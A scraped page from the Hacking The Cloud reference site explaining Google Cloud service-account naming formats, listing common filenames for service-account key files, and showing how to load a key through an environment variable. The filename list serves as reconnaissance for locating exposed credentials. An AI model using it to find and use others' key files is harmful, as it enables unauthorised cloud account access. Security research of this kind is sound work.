id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#service-accounts class=md-nav__link> <span class=md-ellipsis> Service Accounts </span> </a> </li> <li class=md-nav__item> <a href=#default-service-account-filename-permutations class=md-nav__link> <span class=md-ellipsis> Default Service Account filename permutations: </span> </a> </li> <li class=md-nav__item> <a href=#application-based-service-account class=md-nav__link> <span class=md-ellipsis> Application-Based Service Account: </span> </a> </li> <li class=md-nav__item> <a href=#how-to-use-service-accounts class=md-nav__link> <span class=md-ellipsis> How to use Service Accounts </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Moses Frost (@mosesrenegade)</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/gcp/general-knowledge/default-account-names.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Default Account Information</h1> <h2 id=service-accounts>Service Accounts<a class=headerlink href=#service-accounts title="Permanent link">&para;</a></h2> <p><a href=https://cloud.google.com/iam/docs/service-accounts>Service accounts</a> are similar to Azure <a href=https://docs.microsoft.com/en-us/azure/active-directory/develop/app-objects-and-service-principals>Service Principals</a>. They can allow for programmatic access but also abuse. </p> <p><a href=https://cloud.google.com/iam/docs/creating-managing-service-account-keys>Information on Service Accounts</a></p> <p>User-Created Service Account: <code>service-account-name@project-id.iam.gserviceaccount.com</code></p> <p>Using the format above, you can denote the following items:</p> <ul> <li><code>service-account-name</code>: This will tell you potentially what services this is for: <code>Bigtable-sa</code> or <code>compute-sa</code></li> <li><code>project-id</code>: This will be the project identifier that the service account is for. You can set your <code>gcloud</code> configuration to this <code>project-id</code>. It will be numerical typically.</li> </ul> <h2 id=default-service-account-filename-permutations>Default Service Account filename permutations:<a class=headerlink href=#default-service-account-filename-permutations title="Permanent link">&para;</a></h2> <ul> <li><code>serviceaccount.json</code></li> <li><code>service_account.json</code></li> <li><code>sa-private-key.json</code></li> <li><code>service-account-file.json</code></li> </ul> <h2 id=application-based-service-account>Application-Based Service Account:<a class=headerlink href=#application-based-service-account title="Permanent link">&para;</a></h2> <ul> <li><code>project-id@appspot.gserviceaccount.com</code>: Ths would be <code>project-id</code> value for App Engine or anything leveraging App Engine.</li> <li><code>project-number-compute@developer.gserviceaccount.com</code>: This service account is for Compute Engine where the <code>project-number-compute</code> will be: <code>project-id</code>-<code>compute</code>. I.E. <code>1234567-compute</code>.</li> </ul> <h2 id=how-to-use-service-accounts>How to use Service Accounts<a class=headerlink href=#how-to-use-service-accounts title="Permanent link">&para;</a></h2> <p>In a BASH (or equivalent) shell: <code>export GOOGLE_APPLICATION_CREDENTIALS="/home/user/Downloads/service-account-file.json"</code></p> <aside class=md-source-file> <span class=md-source-file__fact> <span class=md-icon title="Last update"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M21 13.1c-.1 0-.3.1-.4.2l-1 1 2.1 2.1 1-1c.2-.2.2-.6 0-.8l-1.3-1.3c-.1-.1-.2-.2-.4-.2m-1.9 1.8-6.1 6V23h2.1l6.1-6.1zM12.5 7v5.2l4 2.4-1 1L11 13V7zM11 21.9c-5.1-.5-9-4.8-9-9.9C2 6.5 6.5 2 12 2c5.3 0 9.6 4.1 10 9.3-.3-.1-.6-.2-1-.2s-.7.1-1 .2C19.6 7.2 16.2 4 12 4c-4.4 0-8 3.6-8 8 0 4.1 3.1 7.5 7.1 7.9l-.1.2z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">December 2, 2022</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Created> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M14.47 15.08 11 13V7h1.5v5.25l3.08 1.83c-.41.28-.79.62-1.11 1m-1.39 4.84c-.36.05-.71.08-1.08.08-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8c0 .37-.03.72-.08 1.08.69.1 1.33.32 1.92.64.1-.56.16-1.13.16-1.72 0-5.5-4.5-10-10-10S2 6.5 2 12s4.47 10 10 10c.59 0 1.16-.06 1.72-.16-.32-.59-.54-1.23-.64-1.92M18 15v3h-3v2h3v3h2v-3h3v-2h-3v-3z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">May 29, 2022</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Contributors> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 2A10 10 0 0 0 2 12c0 4.42 2.87 8.17 6.84 9.5.5.08.66-.23.66-.5v-1.69c-2.77.6-3.36-1.34-3.36-1.34-.46-1.16-1.11-1.47-1.11-1.47-.91-.62.07-.6.07-.6 1 .07 1.53 1.03 1.53 1.03.87 1.52 2.34 1.07 2.91.83.09-.65.35-1.09.63-1.34-2.22-.25-4.55-1.11-4.55-4.92 0-1.11.38-2 1.03-2.71-.1-.25-.45-1.29.1-2.64 0 0 .84-.27 2.75 1.02.79-.22 1.65-.33 2.5-.33s1.71.11 2.5.33c1.91-1.29 2.75-1.02 2.75-1.02.55 1.35.2 2.39.1 2.64.65.71 1.03 1.6 1.03 2.71 0 3.82-2.34 4.66-4.57 4.91.36.31.69.92.69 1.85V21c0 .27.16.59.67.5C19.14 20.16 22 16.42 22 12A10 10 0 0 0 12 2"/></svg> </span> <span>GitHub</span> <nav> <a href=https://github.com/Frichetten class=md-author title=@Frichetten> <img src="https://avatars.githubusercontent.com/u/10386884?v=4&size=72" alt=Frichetten> </a> <a href=https://github.com/mosesrenegade class=md-author title=@mosesrenegade> <img src="https://avatars.githubusercontent.com/u/944551?v=4&size=72" alt=mosesrenegade> </a> </nav> </span> </aside> </article> </div> <script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script> </div> </main> <footer class=md-footer> <div class="md-footer-meta md-typeset"> <div class="md-footer-meta__inner md-grid"> <div class=md-copyright> Made with <a href=https://squidfunk.github.io/mkdocs-material/ target=_blank rel=noopener> Material for MkDocs Insiders </a> </div> <div class=md-social> <a href=https://infosec.exchange/@hackingthecloud target=_blank rel="noopener me" title=infosec.exchange class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.5 102.5 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5m-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"/></svg> </a> <a href=https://bsky.app/profile/hackingthe.cloud target=_blank rel=noopener title=bsky.app class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </a> <a href=https://x.com/HackingthCloud target=_blank rel=noopener title=x.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253"/></svg> </a> <a href=https://www.linkedin.com/company/hacking-the-cloud/ target=_blank rel=noopener title=www.linkedin.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3M135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5m282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9z"/></svg> </a> <a href=https://github.com/Hacking-the-Cloud target=_blank rel=noopener title=github.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </a> <a href=https://hackingthe.cloud/feed_rss_created.xml target=_blank rel=noopener title=hackingthe.cloud class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M0 64c0-17.7 14.3-32 32-32 229.8 0 416 186.2 416 416 0 17.7-14.3 32-32 32s-32-14.3-32-32C384 253.6 226.4 96 32 96 14.3 96 0 81.7 0 64m0 352a64 64 0 1 1 128 0 64 64 0 1 1-128 0m32-256c159.1 0 288 128.9 288 288 0 17.7-14.3 32-32 32s-32-14.3-32-32c0-123.7-100.3-224-224-224-17.7 0-32-14.3-32-32s14.3-32 32-32"/></svg> </a> </div> </div> </div> </footer> </div> <div class=md-dialog data-md-component=dialog> <div class="md-dialog__inner md-typeset"></div> </div> <script id=__config type=application/json>{"base": "../../..", "features": ["navigation.tabs", "navigation.indexes", "content.action.edit"], "search": "../../../assets/javascripts/workers/search.c7c1ca2c.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script> <script src=../../../assets/javascripts/bundle.203fd0bc.min.js></script> <script src=../../../javascripts/matomo.min.js></script> <script id="init-glightbox">const lightbox = GLightbox({"touchNavigation": true, "loop": false, "zoomable": true, "draggable": true, "openEffect": "zoom", "closeEffect": "zoom", "slideEffect": "slide"});
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#service-accounts class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Default Account Information </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class=md-tabs__item> <a href=../../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=./ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 